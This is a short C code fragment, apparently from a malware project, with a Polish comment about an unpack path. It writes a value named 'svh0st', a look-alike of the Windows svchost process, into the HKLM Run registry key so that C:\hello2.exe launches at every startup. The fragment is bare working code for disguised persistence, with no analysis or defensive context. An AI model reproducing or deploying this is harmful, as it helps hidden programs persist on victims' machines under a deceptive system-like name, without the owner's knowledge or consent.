HKEY hKey;
    unsigned char PathToFile[50]="C:\\hello2.exe";        // Zmien tutaj zeby sam pobieral adres rozpakowania
    // The directory of registry to be opened.
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
    KEY_SET_VALUE,&hKey );
    // Set the Value which is the directory of your exe file.
    RegSetValueEx(hKey, "svh0st",0,REG_SZ,PathToFile,sizeof(PathToFile));
    //Close key.
    RegCloseKey(hKey);